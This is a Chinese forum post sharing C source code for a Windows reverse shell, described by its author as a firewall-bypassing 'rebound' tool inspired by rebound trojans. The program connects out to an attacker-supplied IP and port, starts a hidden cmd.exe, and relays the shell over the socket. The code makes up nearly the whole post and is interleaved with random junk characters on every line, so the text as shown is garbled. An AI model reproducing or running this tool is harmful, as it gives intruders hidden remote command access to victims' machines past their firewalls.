社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3721阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7h:EU7  
Df]*S  
/* ============================== jfam/LL{V  
Rebound port in Windows NT E}#&2n8Y  
By wind,2006/7 V^>< =DNE  
===============================*/ YM.  
#include HV]u9nrt#  
#include Kw:%B|B<T  
6TXTJ]er  
#pragma comment(lib,"wsock32.lib") 3;!!`R>e  
a1QW0d  
void OutputShell(); sv#b5,>9  
SOCKET sClient; T&:~=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Um*&S.y  
S0LaQ<9.  
void main(int argc,char **argv) THgEHR0,}[  
{ C0>L<*C  
WSADATA stWsaData; 23a:q{R  
int nRet; |1e//*  
SOCKADDR_IN stSaiClient,stSaiServer; Mp[2Auf  
e)87 & 7  
if(argc != 3) : &~LPmJ  
{ A>RK3{7  
printf("Useage:\n\rRebound DestIP DestPort\n"); }gE^HH'  
return; 6!;D],,"#.  
} k\g:uIsv$  
hDBo XIK  
WSAStartup(MAKEWORD(2,2),&stWsaData); QR<<O  
`}FZ;q3DP  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /*GCuc|  
R:f ,g2  
stSaiClient.sin_family = AF_INET; m9-=Y{&/  
stSaiClient.sin_port = htons(0); kP^=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dVn_+1\L  
Q]$pg5O  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &;<'AF  
{ I\Cg-&e  
printf("Bind Socket Failed!\n"); "{2niBx  
return; 58eO|c(  
} ~]n=TEJ>  
1qm*#4x  
stSaiServer.sin_family = AF_INET; 9;L8%T (  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c'5ls7?}O{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1S yG  
:YLurng/]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O]j<$GG!  
{ d b *J  
printf("Connect Error!"); ocZ^rqo2w  
return; [N<rPHT  
} +c__U Qx  
OutputShell(); $e{}SQ;fW  
} 2lqy<o  
:sA UV79M  
void OutputShell() A8:eA  
{ VssWtL  
char szBuff[1024]; )HX(-"c  
SECURITY_ATTRIBUTES stSecurityAttributes; Y.#fpG'  
OSVERSIONINFO stOsversionInfo; LyL(~Jc|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ktp<o.f[  
STARTUPINFO stStartupInfo; +AFBTJ  
char *szShell; <\P `<  
PROCESS_INFORMATION stProcessInformation; g0-rQA  
unsigned long lBytesRead; _N0N #L4M  
/a6i`  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "z_},TCy  
ksUF(lYk  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^uPg71r:  
stSecurityAttributes.lpSecurityDescriptor = 0; WF2t{<]^e  
stSecurityAttributes.bInheritHandle = TRUE; Dt iM}=:  
s .+`"rK  
v I,T1%llu  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); oa`7ClzD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tZu1jBO_Q4  
i)$<j!L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Wv ~&Qh}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b # Llu$  
stStartupInfo.wShowWindow = SW_HIDE; Lg|d[*;'7  
stStartupInfo.hStdInput = hReadPipe; jvo^I$|2h  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o8NRu7@?  
9n"MNedqH  
GetVersionEx(&stOsversionInfo); jX^_(Kg  
QbY@{"" `  
switch(stOsversionInfo.dwPlatformId) !fjB oK+  
{ Q{yjIy/b  
case 1: \^jRMIM==  
szShell = "command.com"; wyXQP+9G  
break; jdx T662q  
default: ~=|QPO(d  
szShell = "cmd.exe"; J93xxj  
break; t6lwKK  
} x0)WrDb  
M5L/3qLh1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cmU>A721  
K_!:oe7%  
send(sClient,szMsg,77,0); }<*KM)%  
while(1) tf[)| /M  
{ <d >!%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q X-n l~  
if(lBytesRead) ru4M=D  
{ ;V?d;O4u  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Kx?8 HA[5  
send(sClient,szBuff,lBytesRead,0); _rmKvSD%  
} RaP,dR+P  
else Ys&)5j-  
{ ;k ,@^f8  
lBytesRead=recv(sClient,szBuff,1024,0); ? PpS4Rd  
if(lBytesRead<=0) break; e*U6^Xex  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s'$2 }K  
} R'" c  
} Xg* ](>/\,  
V)vik  
return; qv'w 7T  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五